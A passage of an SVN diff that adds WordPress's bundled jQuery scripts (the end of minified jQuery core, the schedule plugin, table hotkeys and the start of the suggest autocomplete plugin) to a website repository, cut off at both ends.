M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function(){G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H<F;H++){var E=o.data(this[H],"olddisplay");this[H].style.display=E||"";if(o.css(this[H],"display")==="none"){var G=this[H].tagName,K;if(m[G]){K=m[G]}else{var I=o("<"+G+" />").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H<F;H++){this[H].style.display=o.data(this[H],"olddisplay")||""}return this}},hide:function(H,I){if(H){return this.animate(t("hide",3),H,I)}else{for(var G=0,F=this.length;G<F;G++){var E=o.data(this[G],"olddisplay");if(!E&&E!=="none"){o.data(this[G],"olddisplay",o.css(this[G],"display"))}}for(var G=0,F=this.length;G<F;G++){this[G].style.display="none"}return this}},_toggle:o.fn.toggle,toggle:function(G,F){var E=typeof G==="boolean";return o.isFunction(G)&&o.isFunction(F)?this._toggle.apply(this,arguments):G==null||E?this.each(function(){var H=E?G:o(this).is(":hidden");o(this)[H?"show":"hide"]()}):this.animate(t("toggle",3),G,F)},fadeTo:function(E,G,F){return this.animate({opacity:G},E,F)},animate:function(I,F,H,G){var E=o.speed(F,H,G);return this[E.queue===false?"each":"queue"](function(){var K=o.extend({},E),M,L=this.nodeType==1&&o(this).is(":hidden"),J=this;for(M in I){if(I[M]=="hide"&&L||I[M]=="show"&&!L){return K.complete.call(this)}if((M=="height"||M=="width")&&this.style){K.display=o.css(this,"display");K.overflow=this.style.overflow}}if(K.overflow!=null){this.style.overflow="hidden"}K.curAnim=o.extend({},I);o.each(I,function(O,S){var R=new o.fx(J,K,O);if(/toggle|show|hide/.test(S)){R[S=="toggle"?L?"show":"hide":S](I)}else{var Q=S.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),T=R.cur(true)||0;if(Q){var N=parseFloat(Q[2]),P=Q[3]||"px";if(P!="px"){J.style[O]=(N||1)+P;T=((N||1)/R.cur(true))*T;J.style[O]=T+P}if(Q[1]){N=((Q[1]=="-="?-1:1)*N)+T}R.custom(T,N,P)}else{R.custom(T,S,"")}}});return true})},stop:function(F,E){var G=o.timers;if(F){this.queue([])}this.each(function(){for(var H=G.length-1;H>=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J<K.length;J++){if(!K[J]()){K.splice(J--,1)}}if(!K.length){clearInterval(n);n=g}},13)}},show:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.show=true;this.custom(this.prop=="width"||this.prop=="height"?1:0,this.cur());o(this.elem).show()},hide:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(H){var G=e();if(H||G>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;" cellpadding="0" cellspacing="0"><tr><td></td></tr></table>';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})();
+jQuery.noConflict();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.schedule.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.schedule.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.schedule.js	(revision 44)
@@ -0,0 +1,36 @@
+
+(function($){$.scheduler=function(){this.bucket={};return;};$.scheduler.prototype={schedule:function(){var ctx={"id":null,"time":1000,"repeat":false,"protect":false,"obj":null,"func":function(){},"args":[]};function _isfn(fn){return(!!fn&&typeof fn!="string"&&typeof fn[0]=="undefined"&&RegExp("function","i").test(fn+""));};var i=0;var override=false;if(typeof arguments[i]=="object"&&arguments.length>1){override=true;i++;}
+if(typeof arguments[i]=="object"){for(var option in arguments[i])
+if(typeof ctx[option]!="undefined")
+ctx[option]=arguments[i][option];i++;}
+if(typeof arguments[i]=="number"||(typeof arguments[i]=="string"&&arguments[i].match(RegExp("^[0-9]+[smhdw]$"))))
+ctx["time"]=arguments[i++];if(typeof arguments[i]=="boolean")
+ctx["repeat"]=arguments[i++];if(typeof arguments[i]=="boolean")
+ctx["protect"]=arguments[i++];if(typeof arguments[i]=="object"&&typeof arguments[i+1]=="string"&&_isfn(arguments[i][arguments[i+1]])){ctx["obj"]=arguments[i++];ctx["func"]=arguments[i++];}
+else if(typeof arguments[i]!="undefined"&&(_isfn(arguments[i])||typeof arguments[i]=="string"))
+ctx["func"]=arguments[i++];while(typeof arguments[i]!="undefined")
+ctx["args"].push(arguments[i++]);if(override){if(typeof arguments[1]=="object"){for(var option in arguments[0])
+if(typeof ctx[option]!="undefined"&&typeof arguments[1][option]=="undefined")
+ctx[option]=arguments[0][option];}
+else{for(var option in arguments[0])
+if(typeof ctx[option]!="undefined")
+ctx[option]=arguments[0][option];}
+i++;}
+ctx["_scheduler"]=this;ctx["_handle"]=null;var match=String(ctx["time"]).match(RegExp("^([0-9]+)([smhdw])$"));if(match&&match[0]!="undefined"&&match[1]!="undefined")
+ctx["time"]=String(parseInt(match[1])*{s:1000,m:1000*60,h:1000*60*60,d:1000*60*60*24,w:1000*60*60*24*7}[match[2]]);if(ctx["id"]==null)
+ctx["id"]=(String(ctx["repeat"])+":"
++String(ctx["protect"])+":"
++String(ctx["time"])+":"
++String(ctx["obj"])+":"
++String(ctx["func"])+":"
++String(ctx["args"]));if(ctx["protect"])
+if(typeof this.bucket[ctx["id"]]!="undefined")
+return this.bucket[ctx["id"]];if(!_isfn(ctx["func"])){if(ctx["obj"]!=null&&typeof ctx["obj"]=="object"&&typeof ctx["func"]=="string"&&_isfn(ctx["obj"][ctx["func"]]))
+ctx["func"]=ctx["obj"][ctx["func"]];else
+ctx["func"]=eval("function () { "+ctx["func"]+" }");}
+ctx["_handle"]=this._schedule(ctx);this.bucket[ctx["id"]]=ctx;return ctx;},reschedule:function(ctx){if(typeof ctx=="string")
+ctx=this.bucket[ctx];ctx["_handle"]=this._schedule(ctx);return ctx;},_schedule:function(ctx){var trampoline=function(){var obj=(ctx["obj"]!=null?ctx["obj"]:ctx);(ctx["func"]).apply(obj,ctx["args"]);if(typeof(ctx["_scheduler"]).bucket[ctx["id"]]!="undefined"&&ctx["repeat"])
+(ctx["_scheduler"])._schedule(ctx);else
+delete(ctx["_scheduler"]).bucket[ctx["id"]];};return setTimeout(trampoline,ctx["time"]);},cancel:function(ctx){if(typeof ctx=="string")
+ctx=this.bucket[ctx];if(typeof ctx=="object"){clearTimeout(ctx["_handle"]);delete this.bucket[ctx["id"]];}}};$.extend({scheduler$:new $.scheduler(),schedule:function(){return $.scheduler$.schedule.apply($.scheduler$,arguments)},reschedule:function(){return $.scheduler$.reschedule.apply($.scheduler$,arguments)},cancel:function(){return $.scheduler$.cancel.apply($.scheduler$,arguments)}});$.fn.extend({schedule:function(){var a=[{}];for(var i=0;i<arguments.length;i++)
+a.push(arguments[i]);return this.each(function(){a[0]={"id":this,"obj":this};return $.schedule.apply($,a);});}});})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.table-hotkeys.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.table-hotkeys.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.table-hotkeys.dev.js	(revision 44)
@@ -0,0 +1,99 @@
+(function($){
+	$.fn.filter_visible = function(depth) {
+		depth = depth || 3;
+		var is_visible = function() {
+			var p = $(this), i;
+			for(i=0; i<depth-1; ++i) {
+				if (!p.is(':visible')) return false;
+				p = p.parent();
+			}
+			return true;
+		}
+		return this.filter(is_visible);
+	};
+	$.table_hotkeys = function(table, keys, opts) {
+		opts = $.extend($.table_hotkeys.defaults, opts);
+		var selected_class, destructive_class, set_current_row, adjacent_row_callback, get_adjacent_row, adjacent_row, prev_row, next_row, check, get_first_row, get_last_row, make_key_callback, first_row;
+		
+		selected_class = opts.class_prefix + opts.selected_suffix;
+		destructive_class = opts.class_prefix + opts.destructive_suffix
+		set_current_row = function (tr) {
+			if ($.table_hotkeys.current_row) $.table_hotkeys.current_row.removeClass(selected_class);
+			tr.addClass(selected_class);
+			tr[0].scrollIntoView(false);
+			$.table_hotkeys.current_row = tr;
+		};
+		adjacent_row_callback = function(which) {
+			if (!adjacent_row(which) && $.isFunction(opts[which+'_page_link_cb'])) {
+				opts[which+'_page_link_cb']();
+			}
+		};
+		get_adjacent_row = function(which) {
+			var first_row, method;
+			
+			if (!$.table_hotkeys.current_row) {
+				first_row = get_first_row();
+				$.table_hotkeys.current_row = first_row;
+				return first_row[0];
+			}
+			method = 'prev' == which? $.fn.prevAll : $.fn.nextAll;
+			return method.call($.table_hotkeys.current_row, opts.cycle_expr).filter_visible()[0];
+		};
+		adjacent_row = function(which) {
+			var adj = get_adjacent_row(which);
+			if (!adj) return false;
+			set_current_row($(adj));
+			return true;
+		};
+		prev_row = function() { return adjacent_row('prev'); };
+		next_row = function() { return adjacent_row('next'); };
+		check = function() {
+			$(opts.checkbox_expr, $.table_hotkeys.current_row).each(function() {
+				this.checked = !this.checked;
+			});
+		};
+		get_first_row = function() {
+			return $(opts.cycle_expr, table).filter_visible().eq(opts.start_row_index);
+		};
+		get_last_row = function() {
+			var rows = $(opts.cycle_expr, table).filter_visible();
+			return rows.eq(rows.length-1);
+		};
+		make_key_callback = function(expr) {
+			return function() {
+				if ( null == $.table_hotkeys.current_row ) return false;
+				var clickable = $(expr, $.table_hotkeys.current_row);
+				if (!clickable.length) return false;
+				if (clickable.is('.'+destructive_class)) next_row() || prev_row();
+				clickable.click();
+			}
+		};
+		first_row = get_first_row();
+		if (!first_row.length) return;
+		if (opts.highlight_first)
+			set_current_row(first_row);
+		else if (opts.highlight_last)
+			set_current_row(get_last_row());
+		$.hotkeys.add(opts.prev_key, opts.hotkeys_opts, function() {return adjacent_row_callback('prev')});
+		$.hotkeys.add(opts.next_key, opts.hotkeys_opts, function() {return adjacent_row_callback('next')});
+		$.hotkeys.add(opts.mark_key, opts.hotkeys_opts, check);
+		$.each(keys, function() {
+			var callback, key;
+			
+			if ($.isFunction(this[1])) {
+				callback = this[1];
+				key = this[0];
+				$.hotkeys.add(key, opts.hotkeys_opts, function(event) { return callback(event, $.table_hotkeys.current_row); });
+			} else {
+				key = this;
+				$.hotkeys.add(key, opts.hotkeys_opts, make_key_callback('.'+opts.class_prefix+key));
+			}
+		});
+
+	};
+	$.table_hotkeys.current_row = null;
+	$.table_hotkeys.defaults = {cycle_expr: 'tr', class_prefix: 'vim-', selected_suffix: 'current',
+		destructive_suffix: 'destructive', hotkeys_opts: {disableInInput: true, type: 'keypress'},
+		checkbox_expr: ':checkbox', next_key: 'j', prev_key: 'k', mark_key: 'x',
+		start_row_index: 2, highlight_first: false, highlight_last: false, next_page_link_cb: false, prev_page_link_cb: false};
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.table-hotkeys.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.table-hotkeys.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.table-hotkeys.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){a.fn.filter_visible=function(c){c=c||3;var b=function(){var e=a(this),d;for(d=0;d<c-1;++d){if(!e.is(":visible")){return false}e=e.parent()}return true};return this.filter(b)};a.table_hotkeys=function(p,q,b){b=a.extend(a.table_hotkeys.defaults,b);var i,l,e,f,m,d,k,o,c,h,g,n,j;i=b.class_prefix+b.selected_suffix;l=b.class_prefix+b.destructive_suffix;e=function(r){if(a.table_hotkeys.current_row){a.table_hotkeys.current_row.removeClass(i)}r.addClass(i);r[0].scrollIntoView(false);a.table_hotkeys.current_row=r};f=function(r){if(!d(r)&&a.isFunction(b[r+"_page_link_cb"])){b[r+"_page_link_cb"]()}};m=function(s){var r,t;if(!a.table_hotkeys.current_row){r=h();a.table_hotkeys.current_row=r;return r[0]}t="prev"==s?a.fn.prevAll:a.fn.nextAll;return t.call(a.table_hotkeys.current_row,b.cycle_expr).filter_visible()[0]};d=function(s){var r=m(s);if(!r){return false}e(a(r));return true};k=function(){return d("prev")};o=function(){return d("next")};c=function(){a(b.checkbox_expr,a.table_hotkeys.current_row).each(function(){this.checked=!this.checked})};h=function(){return a(b.cycle_expr,p).filter_visible().eq(b.start_row_index)};g=function(){var r=a(b.cycle_expr,p).filter_visible();return r.eq(r.length-1)};n=function(r){return function(){if(null==a.table_hotkeys.current_row){return false}var s=a(r,a.table_hotkeys.current_row);if(!s.length){return false}if(s.is("."+l)){o()||k()}s.click()}};j=h();if(!j.length){return}if(b.highlight_first){e(j)}else{if(b.highlight_last){e(g())}}a.hotkeys.add(b.prev_key,b.hotkeys_opts,function(){return f("prev")});a.hotkeys.add(b.next_key,b.hotkeys_opts,function(){return f("next")});a.hotkeys.add(b.mark_key,b.hotkeys_opts,c);a.each(q,function(){var s,r;if(a.isFunction(this[1])){s=this[1];r=this[0];a.hotkeys.add(r,b.hotkeys_opts,function(t){return s(t,a.table_hotkeys.current_row)})}else{r=this;a.hotkeys.add(r,b.hotkeys_opts,n("."+b.class_prefix+r))}})};a.table_hotkeys.current_row=null;a.table_hotkeys.defaults={cycle_expr:"tr",class_prefix:"vim-",selected_suffix:"current",destructive_suffix:"destructive",hotkeys_opts:{disableInInput:true,type:"keypress"},checkbox_expr:":checkbox",next_key:"j",prev_key:"k",mark_key:"x",start_row_index:2,highlight_first:false,highlight_last:false,next_page_link_cb:false,prev_page_link_cb:false}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/suggest.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/suggest.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/suggest.dev.js	(revision 44)
@@ -0,0 +1,330 @@
+/*
+ *	jquery.suggest 1.1b - 2007-08-06
+ * Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting
+ * See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228
+ *
+ *	Uses code and techniques from following libraries:
+ *	1. http://www.dyve.net/jquery/?autocomplete
+ *	2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js
+ *
+ *	All the new stuff written by Peter Vulgaris (www.vulgarisoip.com)
+ *	Feel free to do whatever you want with this file
+ *
+ */
+
+(function($) {
+
+	$.suggest = function(input, options) {
+		var $input, $results, timeout, prevLength, cache, cacheSize;
+
+		$input = $(input).attr("autocomplete", "off");
+		$results = $(document.createElement("ul"));
+
+		timeout = false;		// hold timeout ID for suggestion results to appear
+		prevLength = 0;			// last recorded length of $input.val()
+		cache = [];				// cache MRU list
+		cacheSize = 0;			// size of cache in chars (bytes?)
+
+		$results.addClass(options.resultsClass).appendTo('body');
+
+
+		resetPosition();
+		$(window)
+			.load(resetPosition)		// just in case user is changing size of page while loading
+			.resize(resetPosition);
+
+		$input.blur(function() {
+			setTimeout(function() { $results.hide() }, 200);
+		});
+
+
+		// help IE users if possible
+		if ( $.browser.msie ) {
+			try {
+				$results.bgiframe();
+			} catch(e) { }
+		}
+
+		// I really hate browser detection, but I don't see any other way
+		if ($.browser.mozilla)
+			$input.keypress(processKey);	// onkeypress repeats arrow keys in Mozilla/Opera
+		else
+			$input.keydown(processKey);		// onkeydown repeats arrow keys in IE/Safari
+
+
+
+
+		function resetPosition() {
+			// requires jquery.dimension plugin
+			var offset = $input.offset();
+			$results.css({
+				top: (offset.top + input.offsetHeight) + 'px',
+				left: offset.left + 'px'
+			});
+		}
+
+
+		function processKey(e) {
+
+			// handling up/down/escape requires results to be visible
+			// handling enter/tab requires that AND a result to be selected
+			if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) ||
+				(/^13$|^9$/.test(e.keyCode) && getCurrentResult())) {
+
+				if (e.preventDefault)
+					e.preventDefault();
+				if (e.stopPropagation)
+					e.stopPropagation();
+
+				e.cancelBubble = true;
+				e.returnValue = false;
+
+				switch(e.keyCode) {
+
+					case 38: // up
+						prevResult();
+						break;
+
+					case 40: // down
+						nextResult();
+						break;
+
+					case 9:  // tab
+					case 13: // return
+						selectCurrentResult();
+						break;
+
+					case 27: //	escape
+						$results.hide();
+						break;
+
+				}
+
+			} else if ($input.val().length != prevLength) {
+
+				if (timeout)
+					clearTimeout(timeout);
+				timeout = setTimeout(suggest, options.delay);
+				prevLength = $input.val().length;
+
+			}
+
+
+		}
+
+
+		function suggest() {
+
+			var q = $.trim($input.val()), multipleSepPos, items;
+
+			if ( options.multiple ) {
+				multipleSepPos = q.lastIndexOf(options.multipleSep);
+				if ( multipleSepPos != -1 ) {
+					q = q.substr(multipleSepPos + options.multipleSep.length);
+				}
+			}
+			if (q.length >= options.minchars) {
+
+				cached = checkCache(q);
+
+				if (cached) {
+
+					displayItems(cached['items']);
+
+				} else {
+
+					$.get(options.source, {q: q}, function(txt) {
+
+						$results.hide();
+
+						items = parseTxt(txt, q);
+
+						displayItems(items);
+						addToCache(q, items, txt.length);
+
+					});
+
+				}
+
+			} else {
+
+				$results.hide();
+
+			}
+
+		}
+
+
+		function checkCache(q) {
+			var i;
+			for (i = 0; i < cache.length; i++)
+				if (cache[i]['q'] == q) {
+					cache.unshift(cache.splice(i, 1)[0]);
+					return cache[0];
+				}
+
+			return false;
+
+		}
+
+		function addToCache(q, items, size) {
+			var cached;
+			while (cache.length && (cacheSize + size > options.maxCacheSize)) {
+				cached = cache.pop();
+				cacheSize -= cached['size'];
+			}
+
+			cache.push({
+				q: q,
+				size: size,
+				items: items
+				});
+
+			cacheSize += size;
+
+		}
+
+		function displayItems(items) {
+			var html = '', i;
+			if (!items)
+				return;
+
+			if (!items.length) {
+				$results.hide();
+				return;
+			}
+
+			resetPosition(); // when the form moves after the page has loaded
+
+			for (i = 0; i < items.length; i++)
